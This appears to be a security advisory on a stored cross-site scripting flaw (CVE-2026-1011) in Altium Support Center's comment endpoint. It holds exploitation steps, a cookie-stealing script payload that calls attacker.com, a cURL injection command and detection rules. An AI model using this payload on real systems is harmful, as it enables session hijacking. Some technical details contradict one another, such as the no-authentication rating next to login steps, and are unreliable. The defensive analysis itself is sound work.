CVE-2026-1011

Executive Summary

CVE-2026-1011 is a stored cross-site scripting (XSS) vulnerability in the Altium Support Center application, specifically within the AddComment endpoint. The vulnerability arises from a lack of server-side input sanitization. While the client-side interface applies HTML escaping, the backend accepts and stores arbitrary HTML and JavaScript when a modified POST request is sent. This allows an attacker to inject malicious scripts that are then rendered verbatim when support cases are viewed by other users, including support staff with elevated privileges. The CVSS score is 6.1 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Altium application. Supply chain risks are limited to the Altium software distribution channel.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must view the malicious comment.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction (viewing a case) and has limited impact, but it can be used for phishing, session hijacking, or defacement within the support center.

Deep Dive & Mechanics

The vulnerability exists in the AddComment endpoint of the Altium Support Center. The application uses client-side HTML escaping to prevent XSS, but this is not enforced on the server side. An attacker can craft a POST request with malicious HTML/JavaScript in the comment body. The server stores this payload without sanitization. When any user (including support staff) views the case, the payload is rendered in the browser, executing the attacker's script.

Root Cause: Missing server-side input validation and output encoding. The application relies solely on client-side protection, which can be bypassed by intercepting and modifying HTTP requests.

Attack Flow:

1. Attacker identifies a support case or creates a new one.
2. Attacker sends a POST request to the AddComment endpoint with a malicious payload (e.g., <script>alert('XSS')</script>).
3. The server stores the payload in the database.
4. A victim (support staff or other user) views the case.
5. The browser renders the payload, executing the attacker's JavaScript.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Server-Side):

# Example vulnerable Python Flask endpoint
@app.route('/add_comment', methods=['POST'])
def add_comment():
    comment = request.form['comment']
    # No sanitization
    db.execute("INSERT INTO comments (case_id, body) VALUES (?, ?)", (case_id, comment))
    return "Comment added"

Patched Code (Expected):

# Example patched code with server-side sanitization
import bleach

@app.route('/add_comment', methods=['POST'])
def add_comment():
    comment = request.form['comment']
    # Sanitize input
    clean_comment = bleach.clean(comment, tags=[], strip=True)
    db.execute("INSERT INTO comments (case_id, body) VALUES (?, ?)", (case_id, clean_comment))
    return "Comment added"

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to the Altium Support Center (any user level).
• Ability to intercept and modify HTTP requests (e.g., Burp Suite, cURL).

Exploitation Steps:

1. Log in to the Altium Support Center.
2. Navigate to an existing support case or create a new one.
3. Intercept the POST request to the AddComment endpoint.
4. Modify the comment parameter to include a malicious payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Send the modified request.
6. When a support staff member views the case, the script executes, exfiltrating cookies.

Example cURL Command:

curl -X POST https://support.altium.com/add_comment \
  -d "case_id=123&comment=<script>alert('XSS')</script>"

Blue Team (Defender)

Detection:

• Monitor for unusual POST requests to /add_comment with HTML/JavaScript in the comment parameter.
• Look for outbound connections to unknown domains from the support center application.
• Review server logs for requests containing <script> tags.

Prevention:

• Implement server-side input sanitization (e.g., using a library like bleach or OWASP Java HTML Sanitizer).
• Apply Content Security Policy (CSP) headers to restrict script execution.
• Use output encoding when rendering user-generated content.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /add_comment with comment parameter containing <script> tags.
  • Outbound HTTP/HTTPS connections to attacker-controlled domains from the support center server.
• File IOCs:
  • Log entries showing unsanitized HTML/JavaScript in comment fields.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the support center interface.
  • Unauthorized cookie exfiltration or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2026_1011_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Altium Support Center comments"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-1011"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $on_event = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $javascript_url = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Altium Support Center Stored XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2026-1011 by sending malicious payloads to the AddComment endpoint
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/add_comment'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in comments (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-1011 Altium Support Center Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/add_comment"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the AddComment endpoint if possible, until a patch is applied.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> tags in the comment parameter.
3. Apply server-side input sanitization using a library like bleach (Python) or OWASP Java HTML Sanitizer.

Long-Term Fix:

• Altium must release a security patch that adds server-side validation and output encoding.
• Conduct a security audit of all user input endpoints.

Workarounds:

• Use a reverse proxy to filter malicious payloads.
• Educate support staff to avoid clicking on suspicious links within comments.

Valters IT